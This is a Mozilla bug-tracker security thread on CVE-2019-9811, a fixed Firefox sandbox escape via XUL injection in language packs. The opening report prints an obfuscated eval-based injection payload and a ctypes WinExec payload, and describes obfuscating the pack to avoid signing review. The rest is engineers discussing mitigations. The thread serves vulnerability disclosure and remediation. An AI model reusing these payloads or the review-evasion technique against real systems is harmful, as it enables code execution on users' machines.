1538007 - (CVE-2019-9811) [ZDI-CAN-8374] Sandbox escape: XUL injection in language pack

Status: RESOLVED FIXED

(Core :: Internationalization: Localization, defect, P1)

Description

[Alex Gaynor [:Alex_Gaynor]]

Attachment: ZDI-CAN-8373-8374.zip

Sandbox escape: XUL injection in language pack

With the ability to install language packs we can achieve multiple XUL injections,
for example on the about:telemetry page. Language packs can be installed
via window.navigator.mozAddonManager API which is accessible from a compromised
renderer.

To exploit this issue without having to put a malicious language pack through
a manual review, we turn code execution into UXSS by disabling renderer-side
security checks, log into addons.mozilla.org, and use the AddonManager API
to install an unlisted language pack for the en-US locale. It contains the
following XML:

<!ENTITY aboutTelemetry.firefoxDataDoc "Die <img src='x:x'
    onerror='window[`ev`+`al`](window[`at`+`ob`](`aD1sb2NhdGlvbi5oYXNoO2lmKGgpZXZhbChhdG9iKGguc2xpY2UoMSkpKQ`))' />...

This includes some obfuscation to make it less likely to be marked for review
by the signing service. With this language pack installed, we can then
navigate to about:telemetry#<base64> using the IWebNavigator interface to
trigger arbitrary JavaScript execution in an XUL context. The final payload is:

let { ctypes } = Components.utils.import("resource://gre/modules/ctypes.jsm", {});
let k32 = ctypes.open('kernel32.dll');
let WinExec = k32.declare('WinExec', ctypes.winapi_abi, ctypes.int32_t, ctypes.char.ptr, ctypes.int32_t);
WinExec('calc.exe\0', 5);

Comment 1

[Olli Pettay [:smaug][[e-mail]]]

Isn't this UI issue that we let installation without prompts?
Or perhaps language packs should be sanitized before installing?

Comment 2

[Al Billings [:abillings - ex-MoCo]]

Removing noise since write up is posted above.

Comment 3

[Daniel Veditz [:dveditz]]

mozAddonManager needs to die for sure (look at the conniptions WebExtensions code goes through keeping useful extensions away from that site for fear that API will be abused). Also users assume language packs are safe ("it's just text, right?") although they never have been and were treated as fully privileged legacy addons in the past for good reason.

Comment 4

[Daniel Veditz [:dveditz]]

As long as we use old-style localization with .dtds we can't prevent this kind of injection in the client. We could scan at review time for entities that contain markup if we don't rely on that in legit localizations in other contexts. At least we could prevent adding elements because a working '<' can't be obfuscated and still work. There might be contexts where on* event handling attributes could be added and that could be more work to detect.

Another options would be to hold langpacks for review prior to signing, unlike WebExtensions because they have more power than web extensions. Or if we can't prevent them being signed prior to review, we can at least make them unavailable on AMO (even unlisted pages are no good) so the mozAddonManager APIs can't trigger them (I believe we did limit those APIs to only being able to launch self-hosted addons).

Comment 5

[Alex Gaynor [:Alex_Gaynor]]

We can also have the parent prompt on installing a lang pack, so this can't be done silently.

Comment 6

[Frederik Braun [:freddy]]

I think we want the prompt for langpacks, but that still leaves unknowing users at risk.
We still have enough DTD that we need to tackle the XSS issue (according to https://arewefluentyet.com/), and we have lots of DTDs that contain markup. I could imagine us calling into nstreesanitizer before applying content from a DTD to the DOM. That would incur a runtime cost. The alternative is running a reliable sanitizer on AMO, but I'd be less trusting a third-party sanitizer over our built-in.

Comment 7

[Daniel Veditz [:dveditz]]

simple scanning for element injection won't work because our current UI relies on that:

https://searchfox.org/mozilla-central/search?q=%3C!.*%3C&case=false&regexp=true&path=.dtd

We'd have to rewrite those to eliminate that first. Maybe only a dozen places though -- mostly our big error pages. Catching expansion adding onload/etc event handlers would be trickier

Comment 8

[Frederik Braun [:freddy]]

Yup, I'd trust our built-in sanitizer (nstreesanitizer) to allow for styles and elements, but not scripts.

Comment 9

[Zibi Braniecki [:zbraniecki][:gandalf]]

we're warming up to migrate our error pages to Fluent quite soon, but yeah, I don't think DTD can die soon enough :(

Comment 10

[Alex Gaynor [:Alex_Gaynor]]

:freddyb was pretty sure you could also do the injection with .properties, so fluent won't solve this until everything is ported, is that right :-( That means we need a nearer-term solution.

Comment 11

[Kris Maglione [:kmag]]

This has been known for a long time. It's why we require signing for language packs (everywhere but Linux). It's also part of the reason we're trying to get rid of DTDs.

Comment 12

[Frederik Braun [:freddy]]

But we sign whatever people submit, no?

Comment 13

[Daniel Veditz [:dveditz]]

Sign, and make available via AMO prior to any review.

As a short term fix what if we take away promptless installs from mozAddonManager? The bulk of what people install are WebExtensions and they always prompt anyway so people might not even notice the difference.

We could change false to true here:
https://searchfox.org/mozilla-central/rev/7c20ad925005fbad7b8e08813115f1ec7fa1c248/toolkit/mozapps/extensions/AddonManager.jsm#2706

... or delete these three lines:

https://searchfox.org/mozilla-central/rev/7c20ad925005fbad7b8e08813115f1ec7fa1c248/toolkit/mozapps/extensions/AddonManager.jsm#2560,2595-2596

That doesn't solve the injection problem, doesn't solve the "sign and publish before review" problem, but at least it won't be a silent attack. Hopefully most victims will cancel an unexpected install prompt, and the noisiness will lead to quick detection of an attack or discourage an attack altogether.

Comment 14

[Zibi Braniecki [:zbraniecki][:gandalf]]

I know we do some validation of localizations that we create, but I'm not sure if it is sufficient. NI on Pike for that.

Comment 15

[Frederik Braun [:freddy]]

Requiring a prompt also fixes this as a sandbox bypass, since the unprivileged content process can not accept it. Right?

Comment 16

[Kris Maglione [:kmag]]

(In reply to Frederik Braun [:freddyb] from comment #12)

But we sign whatever people submit, no?

To some extent. We do validation, but I have no idea what validation we do at this point. This is the kind of thing that we should be able to catch 100% of the time, though.

(In reply to Frederik Braun [:freddyb] from comment #15)

Requiring a prompt also fixes this as a sandbox bypass, since the unprivileged content process can not accept it. Right?

Yes, to some extent. We were supposed to move to only allow unprompted installs from the discovery pane, but that still hasn't happened. And, really, it should only work for listed add-ons from AMO.

Either way, I'd rather we just make it impossible for signed langpacks to do such things.

Comment 17

[Daniel Veditz [:dveditz]]

Attachment: deutsch_de_language_pack_for_nightly-1715978.xpi

For completeness this is the langpack he's loading, from https://addons.mozilla.org/firefox/downloads/file/1715978/deutsch_de_language_pack_for_nightly-66.0buildid20190314174725-fx.xpi

Comments in the code also point to presumably earlier attempts
https://addons.mozilla.org/firefox/downloads/file/1690926/deutsch_de_language_pack_for_nightly-3-fx.xpi
https://addons.mozilla.org/firefox/downloads/file/1715961/deutsch_de_language_pack_for_nightly-3-fx.xpi

The latter two don't seem to exist. The one from the exploit I could only find if I were logged into AMO.

Comment 18

[Daniel Veditz [:dveditz]]

(In reply to Zibi Braniecki [:gandalf][:zibi] from comment #14)

I know we do some validation of localizations that we create, but I'm not sure if it is sufficient. NI on Pike for that.

I'm only a little worried about the ones we create -- they are public and get testing (same kind of problem as worrying about malicious contributor C++ patches). In this attack this is a one-off malicious langpack that was not reviewed at all.

Comment 19

[Alex Gaynor [:Alex_Gaynor]]

Either way, I'd rather we just make it impossible for signed langpacks to do such things.

I think everyone is definitely agreed that we want this goal -- which fluent provides, right?

However, given that fluent isn't going to happen very soon, we also want mitigations for this.

Comment 20

[Kris Maglione [:kmag]]

(In reply to Alex Gaynor [:Alex_Gaynor] from comment #19)

Either way, I'd rather we just make it impossible for signed langpacks to do such things.

I think everyone is definitely agreed that we want this goal -- which fluent provides, right?

We can prevent these types of langpacks from being signed by simply improving our validation. There isn't really that much a malicious author can do to hide this kind of thing from a validator.

Comment 21

[Kris Maglione [:kmag]]

Shorter term than Fluent, we could also probably make a push to get rid of our remaining entities that have non-CDATA content and remove our hacks to process them in the weird way we currently do. There aren't that many entities that currently rely on them:

https://searchfox.org/mozilla-central/search?q=%3C%5Ba-z%5D&case=true&regexp=true&path=.dtd

Comment 22

[Axel Hecht [:Pike]]

I'll split out my comments on status quo, and a follow-up on possible actions, to not drown those in a wall of text.

As many folks know little about our l10n system, here's a quick overview on how humans get access to the data in our language packs.

To commit directly to hg, localizers need scm-l10n, which is a level 1a access permission. These people have their contributions thoroughly reviewed technically before granting access. As Dan noted, this is the same path as someone committing rogue C++ code. There are a few folks left in this scheme, but the bulk of our Firefox translations comes through a webtool, pontoon.

On Pontoon, people start out as contributors, and their work isn't committed to VCS without an individual with higher rights having approved them. After a while, we elevate their privileges to also be able to approve translations.

Once translations are in hg (https://hg.mozilla.org/l10n-central, indexed on https://dxr.mozilla.org/l10n-central/source/), they're included in Nightly builds. For beta and beyond, the l10n team does a technical review, and lands known-good revisions in mozilla-beta (with tooling by releng). Thus the code that's going into the beta and release builds is pinned to versions that got technical review. These are the language packs that are uploaded by release automation to AMO.

That's a rather involved process, but it's also how we remedy the risks that our platform comes with.

In Firefox preferences, we offer to install language packs now. Those are restricted to the ones release engineering is building, and does't include language packs contributed in the wild.

The language packs in the wild go through the addons linter, I think Christopher Grebs is the best person to talk to about the details there. Code is https://github.com/mozilla/addons-linter/, IIRC.

Comment 23

[Axel Hecht [:Pike]]

Suggestions:

For our technology stack, the answer is Fluent. Our localizations are as safe as the code that uses them, and we put all the learnings we have over the past 20 years into Fluent. Including a DOM creation logic that works on a whitelist of content. That said, even then you could write code that reads a string from localized content, and then does all kinds of tricks to circumvent our innerHTML protections, and shoot ourselves in the foot. Which goes to Dan's point earlier, don't assume that strings from l10n are safe, as a general engineering practice. Even more so perhaps with Fluent, because it's safe by default.

The migration of Firefox on to Fluent could happen quicker, but for that it probably would need to make it through product planning to get priority. Right now, it's not listed as a priority. If you'd like to help Romain to get it prioritized, that'd be great. In the past, we've delayed Fluent accepting the risks outlined in this bug. Notably, in December 2016 we (folks no longer at Mozilla) decided to pull Fluent out of the scope of Quantum.

As long as we have XUL documents loading DTDs, there's very little we can do. In particular, there's little we can do without breaking existing translations.

I agree with Dan that the main risk here comes from language packs generated in the wild and uploaded to AMO. As outlined above, our in-product hooks are already safe against those.

I have a few ideas:

Squat out space: The attacker uploaded a modified German language pack. Maybe we should look for ways to block people to submit language packs that look like ours. We have almost 100 languages, and if we only leave room for Valencian or Tatar, we seriously limit the ability for attackers to social engineer users to install malicious langpacks.

Harden the addons linter: That's a bit of an arms race, sadly. In particular hard to win, as the code of that linter is publicly available. Any attacker can just download the latest version and improve their obfuscation logic until they pass locally, and then upload. This is also tricky due to how Firefox is written. For DTDs, we know pretty well how the attack vectors look. But for .properties, we have a few of little or not-so-little js libraries that build stuff on top.

Comment 24

[Francesco Lodolo [:flod]]

One additional note: I believe we're relying on the promptLess approach to add language packs when users ask to switch languages in Preferences (from 65)[1]. If we make changes to this, we should really make sure that the experience is still usable.

[1] As pike already wrote, we only install language packs generated by Mozilla

Comment 25

[Frederik Braun [:freddy]]

(In reply to Kris Maglione [:kmag] from comment #21)

Shorter term than Fluent, we could also probably make a push to get rid of our remaining entities that have non-CDATA content and remove our hacks to process them in the weird way we currently do. There aren't that many entities that currently rely on them:

https://searchfox.org/mozilla-central/search?q=%3C%5Ba-z%5D&case=true&regexp=true&path=.dtd

Not sure I understand the implication. The idea is to disallow localized bits not to contain any markup at all? AFAIU we can't have that, hence the idea to sanitize above.

Comment 26

[:Gijs (he/him)]

I'll note that the sandbox escape here is only possible using DTDs sourced from privileged content.

The about:telemetry example from comment #0 won't work on nightly after the patch in https://bugzilla.mozilla.org/show_bug.cgi?id=1523741 is finished up and lands. Although :kmag's link in comment #21 has 200+ hits, most of them don't fit this bill either (e.g. netError is only loaded in unprivileged docs). We could fix up the remaining hits in browser.dtd and then pretty easily enforce that the standard set of [&<>'"] things in DTDs loaded in the parent process get escaped.

This should be much less work than converting all of these, esp. because we apparently need more fluent changes to convert neterror to fluent (cf. https://bugzilla.mozilla.org/show_bug.cgi?id=1484955#c3 ).

Comment 27

[Kris Maglione [:kmag]]

(In reply to Frederik Braun [:freddyb] from comment #25)

Not sure I understand the implication. The idea is to disallow localized bits not to contain any markup at all? AFAIU we can't have that, hence the idea to sanitize above.

That's the idea, yes. That's the way entities in XML work everywhere but in XUL documents. The only thing that's preventing us from doing it now is that we still have entities that rely on being able to include markup.

Comment 28

[Alex Gaynor [:Alex_Gaynor]]

Note: This was from Niklas Baumstark's pwn2own 2019 entry.

Comment 29

[Axel Hecht [:Pike]]

(In reply to Kris Maglione [:kmag] from comment #27)

That's the way entities in XML work everywhere but in XUL documents.

Can you clarify on this? IIRC, markup in entities is just plain standard XML.

Comment 30

[Kris Maglione [:kmag]]

(In reply to Axel Hecht [:Pike] from comment #29)

(In reply to Kris Maglione [:kmag] from comment #27)

That's the way entities in XML work everywhere but in XUL documents.

Can you clarify on this? IIRC, markup in entities is just plain standard XML.

You appear to be correct. I'm trying to remember exactly what special treatment we give XML being parsed for XUL documents, in that case...

Regardless, we have the ability to change our Expat driver to forbid markup in entities from external DTDs when parsing markup for system-privileged documents. We would just first need to fix any existing DTDs that rely on it.

Comment 31

[Paul Theriault [:pauljt] (no longer reading bugmail)]

(In reply to Daniel Veditz [:dveditz] from comment #3)

mozAddonManager needs to die for sure (look at the conniptions WebExtensions code goes through keeping useful extensions away from that site for fear that API will be abused). Also users assume language packs are safe ("it's just text, right?") although they never have been and were treated as fully privileged legacy addons in the past for good reason.

Just pondering bug 1538008 which stems basically from the same problem. In that bug there was discussion of isolating the domain (accounts.firefox.com) to prevent access to the API. Just mentioning it here for completeness - maybe we want to follow the same solution for both. (I don't know if isolation privileged origins is an option for this bug though, especially not when we include remote js on AMO still - bug 1380537).

Comment 32

[Kris Maglione [:kmag]]

(In reply to Paul Theriault [:pauljt] from comment #31)

Just pondering bug 1538008 which stems basically from the same problem. In that bug there was discussion of isolating the domain (accounts.firefox.com) to prevent access to the API.

The plan for mozAddonManager is to limit the promptless behavior to the discovery pane, which is loaded in about:addons. That unfortunately currently runs in the parent process, but can easily be segregated to its own process when it's migrated to an OOP browser.

I'd also really like to limit that behavior to listed add-ons from AMO.

Comment 33

[Alex Gaynor [:Alex_Gaynor]]

Ok I've attempted to split out all the remediation work we've discussed here into blocker bugs. If you think there's any work I missed (or you have other good ideas for how we can comprehensively remediate this and any similar bugs!) please don't hesitate to file more blockers.

Comment 34

[Liz Henry (:lizzard) (relman/hg->git project)]

Alex, this seems unlikely be something we fix in 66 given it looks complex and no one is assigned to the dependent bugs. Do you think it's OK to mark this wontfix for 66?

Comment 35

[Kris Maglione [:kmag]]

(In reply to Liz Henry (:lizzard) (use needinfo) from comment #34)

Alex, this seems unlikely be something we fix in 66 given it looks complex and no one is assigned to the dependent bugs. Do you think it's OK to mark this wontfix for 66?

Bug 1539598 will be fixed within the next couple of days.

Comment 36

[Alex Gaynor [:Alex_Gaynor]]

I'll defer to Kris's expertise as to the addons changes, my guess is that the changes will be somewhat involved and the safest thing is probably to uplift to beta but not to release.

Comment 37

[:Gijs (he/him)]

My understanding is this is effectively fixed for 68/69 based on our changes to DTDs. Dan, can you confirm? Should we close this bug?

Comment 38

[Daniel Veditz [:dveditz]]

Yes, we fixed this in multiple ways. Initially with small breaks in the chain (like finishing the conversion of about:telemetry to fluent, some on AMO itself) and ultimately with bug 1539759.

[Tracking Requested - why for this release]:
I'm not sure what is feasible to back-port to ESR-60 for this but we should make sure this specific chain is broken enough before ZDI blogs about it.

Comment 39

[Daniel Veditz [:dveditz]]

strings in .properties files could be problematic as well, but earlier fixes neutered innerHTML and similar when used in a privileged context. We should be in reasonable shape, though the wholesale conversion to fluent can't come soon enough.

Comment 40

[Al Billings [:abillings - ex-MoCo]]

(In reply to Alex Gaynor [:Alex_Gaynor] from comment #28)

Note: This was from Niklas Baumstark's pwn2own 2019 entry.

Is "Niklas Baumstark" the only credit for this entry for advisory?

Comment 41

[Al Billings [:abillings - ex-MoCo]]

(In reply to Daniel Veditz [:dveditz] from comment #38)

Yes, we fixed this in multiple ways. Initially with small breaks in the chain (like finishing the conversion of about:telemetry to fluent, some on AMO itself) and ultimately with bug 1539759.

I'm not sure what is feasible to back-port to ESR-60 for this but we should make sure this specific chain is broken enough before ZDI blogs about it.

Is this addressed enough for ESR60?

Comment 42

[Alex Gaynor [:Alex_Gaynor]]

Al: Yes, Niklas was solo for his pwn2own entry.

Comment 43

[Ryan VanderMeulen [:RyanVM]]

Bug 1538015 and bug 1539598 have been uplifted for 60.8esr, which is the most we feel comfortable landing there this late in the ESR60 life cycle (see bug 1539759 comment 64). Calling this as fixed for esr60 as it's going to be.

Comment 44

[Ryan VanderMeulen [:RyanVM]]

Setting peterv as the assignee per comment 38 where bug 1539759 was the ultimate fix. Feel free to change it to someone more appropriate if needed.

Comment 45

[Daniel Veditz [:dveditz]]

(In reply to Ryan VanderMeulen [:RyanVM] from comment #43)

Bug 1538015 and bug 1539598 have been uplifted for 60.8esr, which is the most we feel comfortable landing there this late in the ESR60 life cycle

bug 1538015 is relevant to bug 1538008, not so much this one.